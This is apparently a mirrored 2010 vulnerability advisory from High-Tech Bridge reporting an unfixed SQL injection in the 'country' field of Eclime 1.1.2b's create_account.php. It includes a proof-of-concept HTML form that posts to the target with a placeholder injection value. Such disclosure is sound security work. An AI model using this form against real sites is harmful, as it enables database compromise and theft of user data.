SQL Injection in Eclime

2010-12-01T00:00:00
ID SECURITYVULNS:DOC:25219
Type securityvulns
Reporter Securityvulns
Modified 2010-12-01T00:00:00

Description

Vulnerability ID: HTB22704 Reference: http://www.htbridge.ch/advisory/sql_injection_in_eclime.html Product: Eclime Vendor: www.eclime.com ( http://www.eclime.com/ ) Vulnerable Version: 1.1.2b Vendor Notification: 16 November 2010 Vulnerability Type: SQL Injection Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: High Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details: The vulnerability exists due to failure in the "/create_account.php" script to properly sanitize user-supplied input in country variable. Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

The following PoC is available:

<form action="http://[host]/create_account.php" method="post" name="main" > <input type="hidden" name="action" value="process" id="action" /> <input type="hidden" name="email_address" value="email@address.com" /> <input type="hidden" name="password" value="password" /> <input type="hidden" name="confirmation" value="password" /> <input type="hidden" name="gender" value="m" /> <input type="hidden" name="firstname" value="firstname" /> <input type="hidden" name="lastname" value="lastname" /> <input type="hidden" name="dob_month" value="01" /> <input type="hidden" name="dob_day" value="01" /> <input type="hidden" name="dob_year" value="1987" /> <input type="hidden" name="street_address" value="street_address" /> <input type="hidden" name="city" value="city" /> <input type="hidden" name="state" value="state" /> <input type="hidden" name="postcode" value="1234" /> <input type="hidden" name="phoneAreaCode" value="123" /> <input type="hidden" name="phonePrefix" value="123" /> <input type="hidden" name="phoneNumber" value="123" /> <input type="hidden" name="country" value="'SQL_CODE_HERE" /> <input type="submit" value="submit" name="submit" /> </form>